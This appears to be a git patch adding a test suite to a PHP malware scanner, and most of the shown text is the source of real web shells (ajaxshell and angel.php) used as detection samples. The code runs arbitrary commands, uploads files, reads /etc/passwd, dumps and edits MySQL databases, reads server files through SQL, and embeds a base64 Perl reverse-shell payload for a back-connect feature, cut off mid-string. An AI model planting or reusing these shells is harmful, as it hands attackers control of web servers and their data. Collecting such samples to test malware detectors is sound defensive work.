From d33add4b7c344798458f7dec2295185674cb608f Mon Sep 17 00:00:00 2001
From: Julien Voisin
Date: Tue, 23 Feb 2016 15:28:33 +0100
Subject: Add a wonderful testsuite!
---
Makefile | 2 +
php-malware-finder/samples/classic/ajaxshell.php | 652 ++
php-malware-finder/samples/classic/angel.php | 2149 ++++++
php-malware-finder/samples/classic/b374k.php | 10 +
php-malware-finder/samples/classic/c100.php | 3154 ++++++++
php-malware-finder/samples/classic/c99.php | 3157 ++++++++
php-malware-finder/samples/classic/cyb3rsh3ll.php | 7923 ++++++++++++++++++++
php-malware-finder/samples/classic/r57.php | 2302 ++++++
php-malware-finder/samples/classic/simattacker.php | 756 ++
php-malware-finder/samples/classic/sosyete.php | 225 +
php-malware-finder/samples/cpanel.php | 20 +
php-malware-finder/samples/freepbx.php | 14 +
.../samples/obfuscators/cipher_design.php | 2 +
.../samples/obfuscators/online_php_obfuscator.php | 1 +
.../samples/obfuscators/phpencode.php | 1 +
php-malware-finder/tests.sh | 55 +
16 files changed, 20423 insertions(+)
create mode 100644 php-malware-finder/samples/classic/ajaxshell.php
create mode 100644 php-malware-finder/samples/classic/angel.php
create mode 100644 php-malware-finder/samples/classic/b374k.php
create mode 100644 php-malware-finder/samples/classic/c100.php
create mode 100644 php-malware-finder/samples/classic/c99.php
create mode 100644 php-malware-finder/samples/classic/cyb3rsh3ll.php
create mode 100644 php-malware-finder/samples/classic/r57.php
create mode 100644 php-malware-finder/samples/classic/simattacker.php
create mode 100644 php-malware-finder/samples/classic/sosyete.php
create mode 100644 php-malware-finder/samples/cpanel.php
create mode 100644 php-malware-finder/samples/freepbx.php
create mode 100644 php-malware-finder/samples/obfuscators/cipher_design.php
create mode 100644 php-malware-finder/samples/obfuscators/online_php_obfuscator.php
create mode 100644 php-malware-finder/samples/obfuscators/phpencode.php
create mode 100755 php-malware-finder/tests.sh
diff --git a/Makefile b/Makefile
index caec1b1..af87788 100644
--- a/Makefile
+++ b/Makefile
@@ -1,6 +1,8 @@
VERSION=1.0
DEBVER := $(shell cut -d'.' -f1 < /etc/debian_version)
+tests:
+ @cd ./php-malware-finder && ./tests.sh
clean:
rm -rf php-malware-finder/debian
diff --git a/php-malware-finder/samples/classic/ajaxshell.php b/php-malware-finder/samples/classic/ajaxshell.php
new file mode 100644
index 0000000..0445858
--- /dev/null
+++ b/php-malware-finder/samples/classic/ajaxshell.php
@@ -0,0 +1,652 @@
+ 'ClearScreen()',
+'Clear History' => 'ClearHistory()',
+'Can I function?' => "runcommand('canirun','GET')",
+'Get server info' => "runcommand('showinfo','GET')",
+'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')",
+'Open ports' => "runcommand('netstat -an | grep -i listen','GET')",
+'Running processes' => "runcommand('ps -aux','GET')",
+'Readme' => "runcommand('shellhelp','GET')"
+
+);
+$thisfile = basename(__FILE__);
+
+$style = '';
+$sess = __FILE__.$password;
+if(isset($_POST['p4ssw0rD']))
+{
+ if($_POST['p4ssw0rD'] == $password)
+ {
+ $_SESSION[$sess] = $_POST['p4ssw0rD'];
+ }
+ else
+ {
+ die("Wrong password");
+ }
+
+}
+if($_SESSION[$sess] == $password)
+{
+ if(isset($_SESSION['workdir']))
+ {
+ if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir']))
+ {
+ chdir($_SESSION['workdir']);
+ }
+ }
+
+ if(isset($_FILES['uploadedfile']['name']))
+ {
+ $target_path = "./";
+ $target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
+ if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
+
+ }
+ }
+
+ if(isset($_GET['runcmd']))
+ {
+
+ $cmd = $_GET['runcmd'];
+
+ print "".get_current_user()."~# ". htmlspecialchars($cmd)." ";
+
+ if($cmd == "")
+ {
+ print "Empty Command..type \"shellhelp\" for some ehh...help";
+ }
+
+ elseif($cmd == "upload")
+ {
+ print ' Uploading to: '.realpath(".");
+ if(is_writable(realpath(".")))
+ {
+ print "I can write to this directory ";
+ }
+ else
+ {
+ print "I can't write to this directory, please choose another one. ";
+ }
+
+ }
+ elseif((ereg("changeworkdir (.*)",$cmd,$file)) || (ereg("cd (.*)",$cmd,$file)))
+ {
+ if(file_exists($file[1]) && is_dir($file[1]))
+ {
+ chdir($file[1]);
+ $_SESSION['workdir'] = $file[1];
+ print "Current directory changed to ".$file[1];
+ }
+ else
+ {
+ print "Directory not found";
+ }
+ }
+
+ elseif(strtolower($cmd) == "shellhelp")
+ {
+print 'Ajax/PHP Command Shell
+© By Ironfist
+
+The shell can be used by anyone to command any server, the main purpose was
+to create a shell that feels as dynamic as possible, is expandable and easy
+to understand.
+
+If one of the command execution functions work, the shell will function fine.
+Try the "canirun" command to check this.
+
+Any (not custom) command is a UNIX command, like ls, cat, rm ... If you\'re
+not used to these commands, google a little.
+
+Custom Functions
+If you want to add your own custom command in the Quick Commands list, check
+out the code. The $function array contains \'func name\' => \'javascript function\'.
+Take a look at the built-in functions for examples.
+
+I know this readme isn\'t providing too much information, but hell, does this shell
+even require one :P
+
+- Iron
+ ';
+
+ }
+ elseif(ereg("editfile (.*)",$cmd,$file))
+ {
+ if(file_exists($file[1]) && !is_dir($file[1]))
+ {
+ print "
+
+";
+}
+?>
\ No newline at end of file
diff --git a/php-malware-finder/samples/classic/angel.php b/php-malware-finder/samples/classic/angel.php
new file mode 100644
index 0000000..28a1c79
--- /dev/null
+++ b/php-malware-finder/samples/classic/angel.php
@@ -0,0 +1,2149 @@
+ $value) {
+ if (IS_GPC) {
+ $value = s_array($value);
+ }
+ $$key = $value;
+}
+/*===================== ³ÌÐòÅäÖà =====================*/
+
+//echo encode_pass('angel');exit;
+//angel = ec38fe2a8497e0a8d6d349b3533038cb
+// Èç¹ûÐèÒªÃÜÂëÑéÖ¤,ÇëÐ޸ĵǽÃÜÂë,Áô¿ÕΪ²»ÐèÒªÑéÖ¤
+$pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel
+
+//ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÐÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÐÞ¸ÄÏÂÃæ±äÁ¿, ·ñÔòÇë±£³ÖĬÈÏ
+// cookie ǰ׺
+$cookiepre = '';
+// cookie ×÷ÓÃÓò
+$cookiedomain = '';
+// cookie ×÷Ó÷¾¶
+$cookiepath = '/';
+// cookie ÓÐЧÆÚ
+$cookielife = 86400;
+
+//³ÌÐòËÑË÷¿ÉдÎļþµÄÀàÐÍ
+!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
+/*===================== ÅäÖýáÊø =====================*/
+
+$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
+if ($charset == 'utf8') {
+ header("content-Type: text/html; charset=utf-8");
+} elseif ($charset == 'big5') {
+ header("content-Type: text/html; charset=big5");
+} elseif ($charset == 'gbk') {
+ header("content-Type: text/html; charset=gbk");
+} elseif ($charset == 'latin1') {
+ header("content-Type: text/html; charset=iso-8859-2");
+} elseif ($charset == 'euc-kr') {
+ header("content-Type: text/html; charset=euc-kr");
+} elseif ($charset == 'euc-jp') {
+ header("content-Type: text/html; charset=euc-jp");
+}
+
+$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
+$timestamp = time();
+
+/*===================== Éí·ÝÑéÖ¤ =====================*/
+if ($action == "logout") {
+ scookie('loginpass', '', -86400 * 365);
+ @header('Location: '.$self);
+ exit;
+}
+if($pass) {
+ if ($action == 'login') {
+ if ($pass == encode_pass($password)) {
+ scookie('loginpass',encode_pass($password));
+ @header('Location: '.$self);
+ exit;
+ }
+ }
+ if ($_COOKIE['loginpass']) {
+ if ($_COOKIE['loginpass'] != $pass) {
+ loginpage();
+ }
+ } else {
+ loginpage();
+ }
+}
+/*===================== ÑéÖ¤½áÊø =====================*/
+
+$errmsg = '';
+!$action && $action = 'file';
+
+// ²é¿´PHPINFO
+if ($action == 'phpinfo') {
+ if (IS_PHPINFO) {
+ phpinfo();
+ exit;
+ } else {
+ $errmsg = 'phpinfo() function has non-permissible';
+ }
+}
+
+// ÏÂÔØÎļþ
+if ($doing == 'downfile' && $thefile) {
+ if (!@file_exists($thefile)) {
+ $errmsg = 'The file you want Downloadable was nonexistent';
+ } else {
+ $fileinfo = pathinfo($thefile);
+ header('Content-type: application/x-'.$fileinfo['extension']);
+ header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
+ header('Content-Length: '.filesize($thefile));
+ @readfile($thefile);
+ exit;
+ }
+}
+
+// Ö±½ÓÏÂÔØ±¸·ÝÊý¾Ý¿â
+if ($doing == 'backupmysql' && !$saveasfile) {
+ if (!$table) {
+ $errmsg ='Please choose the table';
+ } else {
+ $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
+ $filename = basename($dbname.'.sql');
+ header('Content-type: application/unknown');
+ header('Content-Disposition: attachment; filename='.$filename);
+ foreach($table as $k => $v) {
+ if ($v) {
+ sqldumptable($v);
+ }
+ }
+ mysql_close();
+ exit;
+ }
+}
+
+// ͨ¹ýMYSQLÏÂÔØÎļþ
+if($doing=='mysqldown'){
+ if (!$dbname) {
+ $errmsg = 'Please input dbname';
+ } else {
+ $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
+ if (!file_exists($mysqldlfile)) {
+ $errmsg = 'The file you want Downloadable was nonexistent';
+ } else {
+ $result = q("select load_file('$mysqldlfile');");
+ if(!$result){
+ q("DROP TABLE IF EXISTS tmp_angel;");
+ q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
+ //ÓÃʱ¼ä´ÁÀ´±íʾ½Ø¶Ï,±ÜÃâ³öÏÖ¶ÁÈ¡×ÔÉí»ò°üº¬__angel_1111111111_eof__µÄÎļþʱ²»ÍêÕûµÄÇé¿ö
+ q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
+ $result = q("select content from tmp_angel");
+ q("DROP TABLE tmp_angel");
+ }
+ $row = @mysql_fetch_array($result);
+ if (!$row) {
+ $errmsg = 'Load file failed '.mysql_error();
+ } else {
+ $fileinfo = pathinfo($mysqldlfile);
+ header('Content-type: application/x-'.$fileinfo['extension']);
+ header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
+ header("Accept-Length: ".strlen($row[0]));
+ echo $row[0];
+ exit;
+ }
+ }
+ }
+}
+
+?>
+
+
+
+
+
+
+
+
+
+
+'opform'));
+makehide('action', $action);
+makehide('nowpath', $nowpath);
+makehide('p1', $p1);
+makehide('p2', $p2);
+makehide('p3', $p3);
+makehide('p4', $p4);
+makehide('p5', $p5);
+formfoot();
+
+if(!function_exists('posix_getegid')) {
+ $user = @get_current_user();
+ $uid = @getmyuid();
+ $gid = @getmygid();
+ $group = "?";
+} else {
+ $uid = @posix_getpwuid(@posix_geteuid());
+ $gid = @posix_getgrgid(@posix_getegid());
+ $user = $uid['name'];
+ $uid = $uid['uid'];
+ $group = $gid['name'];
+ $gid = $gid['gid'];
+}
+
+?>
+
+
+'createdir'));
+ makehide('newdirname');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'fileperm'));
+ makehide('newperm');
+ makehide('pfile');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'copyfile'));
+ makehide('sname');
+ makehide('tofile');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'rename'));
+ makehide('oldname');
+ makehide('newfilename');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'fileopform', 'target'=>'_blank'));
+ makehide('action');
+ makehide('opfile');
+ makehide('dir');
+ formfoot();
+ formhead(array('name'=>'getsize'));
+ makehide('getdir');
+ makehide('dir');
+ formfoot();
+
+ $free = @disk_free_space($nowpath);
+ !$free && $free = 0;
+ $all = @disk_total_space($nowpath);
+ !$all && $all = 0;
+ $used = $all-$free;
+ p('File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%) ');
+
+ $cwd_links = '';
+ $path = explode('/', $nowpath);
+ $n=count($path);
+ for($i=0;$i<$n-1;$i++) {
+ $cwd_links .= ''.$path[$i].'/ ';
+ }
+
+?>
+
+
+
+
+Drives) {
+ echo '
';
+ $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
+ $comma = '';
+ foreach($obj->Drives as $drive) {
+ if ($drive->Path) {
+ p($comma.'
'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.') ');
+ $comma = '
| ';
+ }
+ }
+ echo '
';
+ }
+ }
+?>
+
+ ');
+ p('');
+ p('WebRoot ');
+ p(' | ScriptPath ');
+ p(' | View All ');
+ p(' | View Writable ( Directory ');
+ p(' | File )');
+ p(' | Create Directory | Create File ');
+
+ p('
');
+
+ p(' Filename Last modified Size Chmod / Perms Action ');
+
+ //²é¿´ËùÓпÉдÎļþºÍĿ¼
+ $dirdata=array();
+ $filedata=array();
+
+ if ($view_writable == 'dir') {
+ $dirdata = GetWDirList($nowpath);
+ $filedata = array();
+ } elseif ($view_writable == 'file') {
+ $dirdata = array();
+ $filedata = GetWFileList($nowpath);
+ } elseif ($findstr) {
+ $dirdata = array();
+ $filedata = GetSFileList($nowpath, $findstr, $re);
+ } else {
+ // Ŀ¼Áбí
+ //scandir()ЧÂʸü¸ß
+ $dirs=@opendir($dir);
+ while ($file=@readdir($dirs)) {
+ $filepath=$nowpath.$file;
+ if(@is_dir($filepath)){
+ $dirdb['filename']=$file;
+ $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
+ $dirdb['dirchmod']=getChmod($filepath);
+ $dirdb['dirperm']=getPerms($filepath);
+ $dirdb['fileowner']=getUser($filepath);
+ $dirdb['dirlink']=$nowpath;
+ $dirdb['server_link']=$filepath;
+ $dirdata[]=$dirdb;
+ } else {
+ $filedb['filename']=$file;
+ $filedb['size']=sizecount(@filesize($filepath));
+ $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
+ $filedb['filechmod']=getChmod($filepath);
+ $filedb['fileperm']=getPerms($filepath);
+ $filedb['fileowner']=getUser($filepath);
+ $filedb['dirlink']=$nowpath;
+ $filedb['server_link']=$filepath;
+ $filedata[]=$filedb;
+ }
+ }// while
+ unset($dirdb);
+ unset($filedb);
+ @closedir($dirs);
+ }
+ @sort($dirdata);
+ @sort($filedata);
+ $dir_i = '0';
+
+ p('
');
+}// end dir
+
+elseif ($action == 'sqlfile') {
+ if($doing=="mysqlupload"){
+ $file = $_FILES['uploadfile'];
+ $filename = $file['tmp_name'];
+ if (file_exists($savepath)) {
+ m('The goal file has already existed');
+ } else {
+ if(!$filename) {
+ m('Please choose a file');
+ } else {
+ $fp=@fopen($filename,'r');
+ $contents=@fread($fp, filesize($filename));
+ @fclose($fp);
+ $contents = bin2hex($contents);
+ if(!$upname) $upname = $file['name'];
+ $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
+ m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
+ }
+ }
+ }
+?>
+
+'MYSQL Information','name'=>'dbinfo'));
+ makehide('action','sqlfile');
+ p('');
+ p('DBHost:');
+ makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
+ p(':');
+ makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
+ p('DBUser:');
+ makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
+ p('DBPass:');
+ makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
+ p('DBName:');
+ makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
+ p('DBCharset:');
+ makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
+ p('
');
+ formfoot();
+ p('');
+}
+
+elseif ($action == 'mysqladmin') {
+ !$dbhost && $dbhost = 'localhost';
+ !$dbuser && $dbuser = 'root';
+ !$dbport && $dbport = '3306';
+ $dbform = ' ';
+ if(isset($dbhost)){
+ $dbform .= " \n";
+ }
+ if(isset($dbuser)) {
+ $dbform .= " \n";
+ }
+ if(isset($dbpass)) {
+ $dbform .= " \n";
+ }
+ if(isset($dbport)) {
+ $dbform .= " \n";
+ }
+ if(isset($dbname)) {
+ $dbform .= " \n";
+ }
+ if(isset($charset)) {
+ $dbform .= " \n";
+ }
+
+ if ($doing == 'backupmysql' && $saveasfile) {
+ if (!$table) {
+ m('Please choose the table');
+ } else {
+ $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ $fp = @fopen($path,'w');
+ if ($fp) {
+ foreach($table as $k => $v) {
+ if ($v) {
+ sqldumptable($v, $fp);
+ }
+ }
+ fclose($fp);
+ $fileurl = str_replace(SA_ROOT,'',$path);
+ m('Database has success backup to '.$path.' ');
+ mysql_close();
+ } else {
+ m('Backup failed');
+ }
+ }
+ }
+ if ($insert && $insertsql) {
+ $keystr = $valstr = $tmp = '';
+ foreach($insertsql as $key => $val) {
+ if ($val) {
+ $keystr .= $tmp.$key;
+ $valstr .= $tmp."'".addslashes($val)."'";
+ $tmp = ',';
+ }
+ }
+ if ($keystr && $valstr) {
+ $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
+ }
+ }
+ if ($update && $insertsql && $base64) {
+ $valstr = $tmp = '';
+ foreach($insertsql as $key => $val) {
+ $valstr .= $tmp.$key."='".addslashes($val)."'";
+ $tmp = ',';
+ }
+ if ($valstr) {
+ $where = base64_decode($base64);
+ $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
+ }
+ }
+ if ($doing == 'del' && $base64) {
+ $where = base64_decode($base64);
+ $delete_sql = "DELETE FROM $tablename WHERE $where";
+ $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
+ }
+
+ if ($tablename && $doing == 'drop') {
+ $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ if (q("DROP TABLE $tablename")) {
+ m('Drop table of success');
+ $tablename = '';
+ } else {
+ m(mysql_error());
+ }
+ }
+
+ formhead(array('title'=>'MYSQL Manager'));
+ makehide('action','mysqladmin');
+ p('');
+ p('DBHost:');
+ makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
+ p(':');
+ makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
+ p('DBUser:');
+ makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
+ p('DBPass:');
+ makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
+ p('DBCharset:');
+ makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
+ makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
+ p('
');
+ formfoot();
+
+ //²Ù×÷¼Ç¼
+ formhead(array('name'=>'recordlist'));
+ makehide('doing');
+ makehide('action','mysqladmin');
+ makehide('base64');
+ makehide('tablename');
+ p($dbform);
+ formfoot();
+
+ //Ñ¡¶¨Êý¾Ý¿â
+ formhead(array('name'=>'setdbname'));
+ makehide('action','mysqladmin');
+ p($dbform);
+ if (!$dbname) {
+ makehide('dbname');
+ }
+ formfoot();
+
+ //Ñ¡¶¨±í
+ formhead(array('name'=>'settable'));
+ makehide('action','mysqladmin');
+ p($dbform);
+ makehide('tablename');
+ makehide('page',$page);
+ makehide('doing');
+ formfoot();
+
+ $cachetables = array();
+ $pagenum = 30;
+ $page = intval($page);
+ if($page) {
+ $start_limit = ($page - 1) * $pagenum;
+ } else {
+ $start_limit = 0;
+ $page = 1;
+ }
+ if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
+ $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
+ //»ñÈ¡Êý¾Ý¿âÐÅÏ¢
+ $mysqlver = mysql_get_server_info();
+ p('MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'
');
+ $highver = $mysqlver > '4.1' ? 1 : 0;
+
+ //»ñÈ¡Êý¾Ý¿â
+ $query = q("SHOW DATABASES");
+ $dbs = array();
+ $dbs[] = '-- Select a database --';
+ while($db = mysql_fetch_array($query)) {
+ $dbs[$db['Database']] = $db['Database'];
+ }
+ makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
+ $tabledb = array();
+ if ($dbname) {
+ p('');
+ p('Current dababase: '.$dbname.' ');
+ if ($tablename) {
+ p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]');
+ }
+ p('
');
+ mysql_select_db($dbname);
+
+ $getnumsql = '';
+ $runquery = 0;
+ if ($sql_query) {
+ $runquery = 1;
+ }
+ $allowedit = 0;
+ if ($tablename && !$sql_query) {
+ $sql_query = "SELECT * FROM $tablename";
+ $getnumsql = $sql_query;
+ $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
+ $allowedit = 1;
+ }
+ p('');
+ if ($tablename || ($runquery && $sql_query)) {
+ if ($doing == 'structure') {
+ $result = q("SHOW FULL COLUMNS FROM $tablename");
+ $rowdb = array();
+ while($row = mysql_fetch_array($result)) {
+ $rowdb[] = $row;
+ }
+ p('Structure ');
+ p('');
+ p('');
+ p('Field ');
+ p('Type ');
+ p('Collation ');
+ p('Null ');
+ p('Key ');
+ p('Default ');
+ p('Extra ');
+ p('Privileges ');
+ p('Comment ');
+ p(' ');
+ foreach ($rowdb as $row) {
+ $thisbg = bg();
+ p('');
+ p(''.$row['Field'].' ');
+ p(''.$row['Type'].' ');
+ p(''.$row['Collation'].' ');
+ p(''.$row['Null'].' ');
+ p(''.$row['Key'].' ');
+ p(''.$row['Default'].' ');
+ p(''.$row['Extra'].' ');
+ p(''.$row['Privileges'].' ');
+ p(''.$row['Comment'].' ');
+ p(' ');
+ }
+ tbfoot();
+ $result = q("SHOW INDEX FROM $tablename");
+ $rowdb = array();
+ while($row = mysql_fetch_array($result)) {
+ $rowdb[] = $row;
+ }
+ p('Indexes ');
+ p('');
+ p('');
+ p('Keyname ');
+ p('Type ');
+ p('Unique ');
+ p('Packed ');
+ p('Seq_in_index ');
+ p('Field ');
+ p('Cardinality ');
+ p('Collation ');
+ p('Null ');
+ p('Comment ');
+ p(' ');
+ foreach ($rowdb as $row) {
+ $thisbg = bg();
+ p('');
+ p(''.$row['Key_name'].' ');
+ p(''.$row['Index_type'].' ');
+ p(''.($row['Non_unique'] ? 'No' : 'Yes').' ');
+ p(''.($row['Packed'] === null ? 'No' : $row['Packed']).' ');
+ p(''.$row['Seq_in_index'].' ');
+ p(''.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' ');
+ p(''.($row['Cardinality'] ? $row['Cardinality'] : 0).' ');
+ p(''.$row['Collation'].' ');
+ p(''.$row['Null'].' ');
+ p(''.$row['Comment'].' ');
+ p(' ');
+ }
+ tbfoot();
+ } elseif ($doing == 'insert' || $doing == 'edit') {
+ $result = q('SHOW COLUMNS FROM '.$tablename);
+ while ($row = mysql_fetch_array($result)) {
+ $rowdb[] = $row;
+ }
+ $rs = array();
+ if ($doing == 'insert') {
+ p('Insert new line in '.$tablename.' table » ');
+ } else {
+ p('Update record in '.$tablename.' table » ');
+ $where = base64_decode($base64);
+ $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
+ $rs = mysql_fetch_array($result);
+ }
+ p('');
+ p($dbform);
+ makehide('action','mysqladmin');
+ makehide('tablename',$tablename);
+ p(' ');
+ } else {
+ $querys = @explode(';',$sql_query);
+ foreach($querys as $num=>$query) {
+ if ($query) {
+ p("Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."
");
+ switch(qy($query))
+ {
+ case 0:
+ p('Error : '.mysql_error().' ');
+ break;
+ case 1:
+ if (strtolower(substr($query,0,13)) == 'select * from') {
+ $allowedit = 1;
+ }
+ if ($getnumsql) {
+ $tatol = mysql_num_rows(q($getnumsql));
+ $multipage = multi($tatol, $pagenum, $page, $tablename);
+ }
+ if (!$tablename) {
+ $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
+ $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
+ preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
+ $tablename = $matches[1][0];
+ }
+
+ /*********************/
+ $getfield = q("SHOW COLUMNS FROM $tablename");
+ $rowdb = array();
+ $keyfied = ''; //Ö÷¼ü×Ö¶Î
+ while($row = @mysql_fetch_assoc($getfield)) {
+ $rowdb[$row['Field']]['Key'] = $row['Key'];
+ $rowdb[$row['Field']]['Extra'] = $row['Extra'];
+ if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {
+ $keyfied = $row['Field'];
+ }
+ }
+ /*********************/
+ //Ö±½Óä¯ÀÀ±í°´ÕÕÖ÷¼ü½µÐòÅÅÁÐ
+ if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') {
+ $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);
+ }
+
+ $result = q($query);
+
+ p($multipage);
+ p('');
+ p('');
+ if ($allowedit) p('Action ');
+ $fieldnum = @mysql_num_fields($result);
+ for($i=0;$i<$fieldnum;$i++){
+ $name = @mysql_field_name($result, $i);
+ $type = @mysql_field_type($result, $i);
+ $len = @mysql_field_len($result, $i);
+ p("$name$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? ' - PRIMARY ' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? ' - Auto ' : '')." ");
+ }
+ p(' ');
+
+ while($mn = @mysql_fetch_assoc($result)){
+ $thisbg = bg();
+ p('');
+ $where = $tmp = $b1 = '';
+ //ѡȡÌõ¼þ×Ö¶ÎÓÃ
+ foreach($mn as $key=>$inside){
+ if ($inside) {
+ //²éÕÒÖ÷¼ü¡¢Î¨Ò»ÊôÐÔ¡¢×Ô¶¯Ôö¼ÓµÄ×ֶΣ¬ÕÒµ½¾ÍÍ£Ö¹£¬·ñÔò×éºÏËùÓÐ×Ö¶Î×÷ΪÌõ¼þ¡£
+ if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {
+ $where = $key."='".addslashes($inside)."'";
+ break;
+ }
+ $where .= $tmp.$key."='".addslashes($inside)."'";
+ $tmp = ' AND ';
+ }
+ }
+ //¶ÁÈ¡¼Ç¼ÓÃ
+ foreach($mn as $key=>$inside){
+ $b1 .= ''.html_clean($inside).' ';
+ }
+ $where = base64_encode($where);
+
+ if ($allowedit) p('Edit | Del ');
+
+ p($b1);
+ p(' ');
+ unset($b1);
+ }
+ p('');
+ if ($allowedit) p('Action ');
+ $fieldnum = @mysql_num_fields($result);
+ for($i=0;$i<$fieldnum;$i++){
+ $name = @mysql_field_name($result, $i);
+ $type = @mysql_field_type($result, $i);
+ $len = @mysql_field_len($result, $i);
+ p("$name$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? ' - PRIMARY ' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? ' - Auto ' : '')." ");
+ }
+ p(' ');
+ tbfoot();
+ p($multipage);
+ break;
+ case 2:
+ $ar = mysql_affected_rows();
+ p('affected rows : '.$ar.' ');
+ break;
+ }
+ }
+ }
+ }
+ } else {
+ $query = q("SHOW TABLE STATUS");
+ $table_num = $table_rows = $data_size = 0;
+ $tabledb = array();
+ while($table = mysql_fetch_array($query)) {
+ $data_size = $data_size + $table['Data_length'];
+ $table_rows = $table_rows + $table['Rows'];
+ $table['Data_length'] = sizecount($table['Data_length']);
+ $table_num++;
+ $tabledb[] = $table;
+ }
+ $data_size = sizecount($data_size);
+ unset($table);
+ p('");
+ fr($query);
+ }
+ }
+ }
+ tbfoot();
+ @mysql_close();
+}//end mysql
+
+elseif ($action == 'backconnect') {
+ !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
+ !$yourport && $yourport = '12345';
+ $usedb = array('perl'=>'perl','c'=>'c');
+
+ $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
+ "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
